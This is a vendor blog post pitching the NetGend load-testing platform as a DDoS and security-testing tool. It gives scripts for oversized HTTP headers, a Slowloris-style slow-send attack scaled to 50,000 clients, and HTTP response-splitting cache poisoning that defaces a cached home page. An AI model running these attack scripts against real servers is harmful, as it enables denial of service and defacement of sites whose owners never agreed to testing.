Monday, December 30, 2013

A performance test platform as Low Orbit Ion Cannon


     Networking security has gained a lot of attentions over the years and has become one of the top reasons that keeps a web site owner awake at night.   In this blog, we are going to talk about how the NetGend, a performance test platform,  can help with security testing.

     By nature,  any powerful performance test platform can be turned into a DDoS testing platform.   NetGend platform with its ability to  emulate 50,000 concurrent virtual clients on one box is not an exception.  Compared to the famous DDoS tool LOIC (Low Orbit Ion Canon, a cool name!),   NetGend can support more concurrent sessions,   more realistic emulation of clients.

    On NetGend platform, emulation of  sophisticated clients is done by using a javascript like script.  Unlike LOIC which can send simple messages,  NetGend can send dynamic messages with lots of moving parts (i.e variations in the messages) and on top of it,  it can engage with the victim server through complex interactions  as good clients.    It can really cause some pain on web servers for DDoS testing.

     First let's try to cause buffer overflow with a long HTTP header.  In the following script, we use built-in function "repeat" to create a "Referer" header that's is 20,000 bytes long:
 function VUSER() { 
      httpHeader.Referer = repeat("A", 20000);  
      action(http, "http://www.example.com");  
 }  

     Similarly, you can add more long HTTP header such as "XYZ":
    httpHeader.XYZ = repeat("A", 30000);  

     Creating HTTP requests with long headers is quite easy.  Let's look at the Slowris attack, which has become a popular attack against servers.  Here an attacker causes DoS on a web server by sending HTTP requests very slowly, exhausting all resources (connections) on the server.  Original script is quite long.   Here we can do a simpler version in a few short lines:
 function VUSER() { 
      connect("www.example.com", 80); 
      http.POSTData = "name=jin&pass=123";  
      a = createHttpRequest("http://www.example.com/");  
      for (i = 0; i < length(a); i ++ ) {  
           send(substr(a, i, 1));  
           sleep(5000);  
      }  
 }  

   In the above script, we create a connection to the web server and then create a valid HTTP POST request and send it one character at a time and wait for 5 seconds between sending each character. By spawning many VUsers (up to 50,000), we will chew up all the connection resources on a server.
 
    The above two examples are quite simple in concept,  to conclude our blog, let's look at an example where lots of creativity was involved in crafting a special HTTP request with malicious intention. Kudos to the researcher(s) who found it.  This attack is called "HTTP cache poisoning" and is documented here.

    This is an attack on the http cache server. The following diagram from a blog by Bertrant Baquet shows the position of a HTTP cache server.  In the normal operation, when a HTTP cache server receives a request, it will search for the cached transactions, if found one, it will send the response from the cache,  otherwise, it will forward it on to the web server and then send the response from the web server back to the client side.

     The idea of the attack is to send one request from the client and make the server's response appear to be two responses from the cache server's point of view.   This attack will work, for example, when the web server has a dynamic page that will redirect based on the incoming URL.   For example, when the incoming request is the following
http://www.example.com/redirect?page=http://www.test.com 
it will send a 302 response with the "Location" header being "http://www.test.com".    By cleverly crafting a message in place of the highlighted part, the attacker (on client side) can control what the server sends.

     In the following script, the specially crafted message (called "poison") is in bold,  we use the function "toUrl()" will escape it so it can be included as part of the URL.
 function VUSER() {  
      connect("www.example.com", 80);
      httpHeader.Pragma = "no-cache";
      msg = createHttpRequest("http://www.example.com/index.html");
      send(msg); //turn off cache
      poison = "
Content-Length: 0

HTTP/1.1 200 OK
Last-Modified: Mon, 27 Oct 2015 14:50:18 GMT
Content-Length: 21
Content-Type: text/html

<html>defaced!</html>";
      poison = toUrl(poison);
      msg = createHttpRequest("http://www.example.com/redir.php?page=${poison}");
      send(msg); //add the poison
      msg = createHttpRequest("http://www.example.com/index.html");
      send(msg);
}

    As a result, the HTTP cache server will put <html>defaced!</html> as the cached response for the home page!

    From a web server owner's point of view, both security and performance are important, isn't it nice to have one platform that can test both?

No comments:

Post a Comment